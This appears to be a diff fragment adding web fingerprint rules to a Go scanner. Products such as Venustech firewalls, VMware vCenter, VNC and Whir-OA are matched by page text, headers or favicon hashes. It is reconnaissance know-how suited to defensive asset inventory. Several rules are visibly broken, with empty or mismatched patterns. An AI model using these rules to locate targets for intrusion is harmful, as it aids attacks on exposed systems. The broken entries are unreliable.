    |/php/common/checknum_creat.php?module=config_authnum)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-HDM", "body", "", InStr{"(/video_record.jnlp|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venom", "header", "", InStr{"", "(venom-dev)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-Firewall", "body", "", InStr{"(var title_zh = '天清汉马usg防火墙';|venusense fw)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-Application-Security-Gateway", "body", "", InStr{"(v2/global/vendor/modernizr/modernizr.js|天清web应用安全网关)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-IPS", "body", "", InStr{"(/css/cover_admin.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-WAG", "header", "", InStr{"", "(vwphpsessid=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianTina-IDS", "body", "", InStr{"(
    天阗入侵检测与管理系统v7.0
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianYue", "body", "", InStr{"(
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Verizon-Wireless-Router", "body", "", InStr{"(verizon_logo_blk.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VERTIV-System", "body", "", InStr{"(var port = \"9528)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vertx", "header", "", InStr{"", "(set-cookie: vertx-web.session)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vhsoft-VHPLOT", "body", "", InStr{"(/vhplot/webresource.axd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VICIdial", "body", "", InStr{"(url=/vicidial/welcome.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vicon-Cameras-and-Surveillance", "body", "", InStr{"(content=\"brian lau, iqinvision|loc = \"iqeyevid.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft", "body", "", InStr{"(href=\"webstyles/webstyle1/style1/css.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft", "body", "", InStr{"(value=\"style2012/style1/scripts/expressinstall.swf\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft-Performance-Management-System", "body", "", InStr{"(class=\"row fl-controls-left|casui/themes/siam/login.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vicworl", "body", "", InStr{"(powered by vicworl|content=\"vicworl|vindex_right_d)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "videocomm-Cameras-and-Surveillance", "body", "", InStr{"(平台采用最新图像化展现技术)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Violation-outreach-monitoring-system", "body", "", InStr{"(|window.location='login.action';|欢迎登录违规外联平台)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Virtualmin", "body", "", InStr{"(
    forgot your virtualmin password?
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VISEC", "ico", "", InStr{"", "", "(2e5e985fe125e3f8fca988a86689b127)"}, ReqHttp{"", "", nil, ""}}, + {1, "Visec-ViGate", "body", "", InStr{"(src='/themes/visec/images/|name=\"passwordfld)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisionGS-Webcam", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisualSec-VS-AD", "body", "", InStr{"(class=\"top-wrapper fn-clear\"|value=\"sysadmin\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisualSVN", "header", "", InStr{"", "(realm=\"visualsvn server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Visualware-MyConnection-Server", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vivotek-Network-Camera", "body", "", InStr{"(
    \"logo\"
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vlc", "ico", "", InStr{"", "", "(6f7e92fe7e6a62661ac2b41528a78fc6)"}, ReqHttp{"", "", nil, ""}}, + {1, "VMedia-Multimedia-Publishing-Platform", "body", "", InStr{"(function toggle(targetid)|class=\"video_00\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-ESX", "body", "", InStr{"(content=\"vmware esxi|document.write(\"\" + id_eesx_welcome + \"\")|content=\"vmware esx |document.write(id_esx_viclientdesc);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-ESXi", "body", "", InStr{"(ng-app=\"esxuiapp\"|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-Horizon", "body", "", InStr{"(href='https://www.vmware.com/go/viewclients'|alt=\"vmware horizon\">)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-Server-2", "body", "", InStr{"(content=\"vmware server is virtual)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-vCenter", "body", "", InStr{"(/converter/vmware-converter-client.exe|content=\"vmware vcenter|/vmw_nsx_logo-black-triangle-500w.png)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-vFabric", "header", "", InStr{"", "(ts01efd1fa)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-VirtualCenter", "body", "", InStr{"(content=\"vmware virtualcenter|content=\"vmware vsphere)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-vRealize", "body", "", InStr{"(正在重定向到 vrealize operations manager web)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNC", "body", "", InStr{"(<applet code=vncviewer.class archive=vncviewer.jar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNC-Enterprise-", "header", "", InStr{"", "(server: vnc server enterprise edition)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNPT-Technology-iGate", "body", "", InStr{"(copyright ©2013 - vnpt technology)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vocetelecomWIFI", "header", "", InStr{"", "(realm=\"vocetelecomwifi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Voila web hosting", "ico", "", InStr{"", "", "(3646670CAC1E2AFAE1FE152F2FD8C118)"}, ReqHttp{"", "", nil, ""}}, + {1, "Volans-VOLANS-Router", "header", "", InStr{"", "(飞鱼星科技volans)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Voole-OTV", "header", "", InStr{"", "(server: voole_cdn1.0)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VOS3000", "body", "", InStr{"(content=\"vos3000|images/vos3000.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VOS-VOS2009", "body", "", InStr{"(content=\"vos2009, voip, voip运营支撑系统, 软交换\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VoteManager", "body", "", InStr{"(content=\"微平台投票系统|content=\"微平台投票管理系统|<a href=\"http://www.cdrbp.cn\">微信数字投票)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VP-ASP", "body", "", InStr{"(<a href=\"http://www.vpasp.com\">|src=\"vs350.js|shopdisplayproducts.asp?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/lib/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VPON", "body", "", InStr{"(/ctrl_ver.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-Desktop-Application-System", "body", "", InStr{"(<span id=\"lblvalidcompany\" class=\"validcompany\">vrv|var vver = $('#hidverify').val();)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-IM", "body", "", InStr{"(<h3>连豆豆pc客户端 </h3>|href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv|class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号|class=\"wj-text wj-title\">下载信源豆豆</p>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-NAC", "body", "", InStr{"(id=\"modal_delay\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-NAC", "body", "", InStr{"(欢迎登录北信源网络接入控制系统|localstorage.setitem('doctitle','北信源网络接入控制系统'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VSP-Stats-Processor", "body", "", InStr{"(<a href=\"http://www.clanavl.com/vsp/\">vsp</a> v|<body>error: cannot establish database connection or database database_name does not exist| theme:bismarck by <a href=\"#\" title=\"myrddin8 <at> gmail <dot> com\">myrddin</a> )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VSS-Web", "body", "", InStr{"(<a href=\"http://www.vssweb.net/ivsweb.exe)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vTigerCRM", "body", "", InStr{"(/images/vtigercrm_icon.ico|<div class=\"poweredby\">powered by vtiger crm - |src=\"themes/images/vtigername.gif\" alt=\"vtiger crm|vtiger crm </span>|<img src='http://stats.vtiger.com/stats.php?uid=|<a href='http://www.vtiger.com' target='_blank'>vtiger.com</a>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vtiger CRM", "ico", "", InStr{"", "", "(d90cc1762bf724db71d6df86effab63c)"}, ReqHttp{"", "", nil, ""}}, + {1, "VTS", "body", "", InStr{"(<head><title>error message)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VTS-CMS", "body", "", InStr{"(errmag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "W3-Total-Cache", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WEBSOC", "body", "", InStr{"(
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "websvn", "ico", "", InStr{"", "", "(ef5169b040925a716359d131afbea033)"}, ReqHttp{"", "", nil, ""}}, + {1, "webtrust-Cert", "body", "", InStr{"(https://cert.webtrust.org/viewseal)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Web-Wiz-Rich-Text-Editor", "body", "", InStr{"(健康档案
  • |www.wellcare.cn)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WEONLYDO-Product", "header", "", InStr{"", "(server: weonlydo)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Westell-Secure", "header", "", InStr{"", "(server: wstl cpe|realm=\"westell secure)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Western-Digital", "header", "", InStr{"", "(wt263cdn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Western_Digital-MyBook", "body", "", InStr{"(src=\"/img/headernav_separator.gif\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WhatWeb", "body", "", InStr{"(
    |network card access password: )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WhatWeb", "header", "", InStr{"", "(file-created wed, 14 jul 1999 04:00:00 gmt|xcd web admin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whfst-CMS", "body", "", InStr{"(武汉富思特)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir", "body", "", InStr{"(css/css_whir.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-ezOFFICE", "body", "", InStr{"(ezofficeusername|whirrootpath|/defaultroot/js/cookie.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-ezOFFICE", "header", "", InStr{"", "(loclan)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whir-flexoffice", "body", "", InStr{"(var flexofficepath=\"\\/flexoffice\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-OA", "body|header|ico", "or", InStr{"(return ajaxForSync[(]whirRootPath)", "(Set-Cookie: OASESSIONID=(.*))", "(fa1f01d0392d60663d8ce936fe06096a)"}, ReqHttp{"", "", nil, ""}}, + {1, "WHMCS", "body", "", InStr{"(powered by please login or register)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-Employee-Internet-Management", "body", "", InStr{"(updateloginpswd.php|passroedele|下一代防火墙|classid=\"clsid:81be1f16-9d88-48cc-8d3e-cb8e37b71fee)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-NGFW", "body", "", InStr{"(/base/img/login_logo_ngaf.jpg)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-Remote-Access", "body", "", InStr{"( 远程接入平台|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "wholeton-VPN", "body", "", InStr{"(images/l_name.jpg|jtpsoft style1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whtzjkj-ERP", "body", "", InStr{"(href=\"/content/home/tzjlog.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wiegand", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIFI-Camera", "header", "", InStr{"", "(realm=\"wificam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIFI-security-terminal-Device-management", "body", "", InStr{"(

    wifi安全终端设备管理

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WikiWebHelp", "ico", "", InStr{"", "", "(18fe76b96d4eae173bf439a9712fa5c1)"}, ReqHttp{"", "", nil, ""}}, + {1, "WildFly-Server", "body", "", InStr{"(href=\"wildfly.css|wildfly project)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Willfar-Interface-Management-Tool", "body", "", InStr{"(the wasion software foundation|alt=\"接口应用管理工具\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Windows-Business-Server", "body", "", InStr{"(src=\"images/sbslogo.gif|href=\"/remote\">remote web workplace)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIND-River", "header", "", InStr{"", "(server: rapid logic)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WindRiver", "header", "", InStr{"", "(server: windriver-webserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wing-FTP-Server", "body", "", InStr{"(/help_javascript.htm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wing-FTP-Server", "header", "", InStr{"", "(server: wing ftp server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Winiis-ISP-Access-Resource-Management-System", "body", "", InStr{"(winisp.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Winmail-Server", "header", "", InStr{"", "(magicwinmail_default_language)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wireless-Access-Point-Controller", "body", "", InStr{"(var oemproductname = \"mvc_howay6000\"|
    troy serial server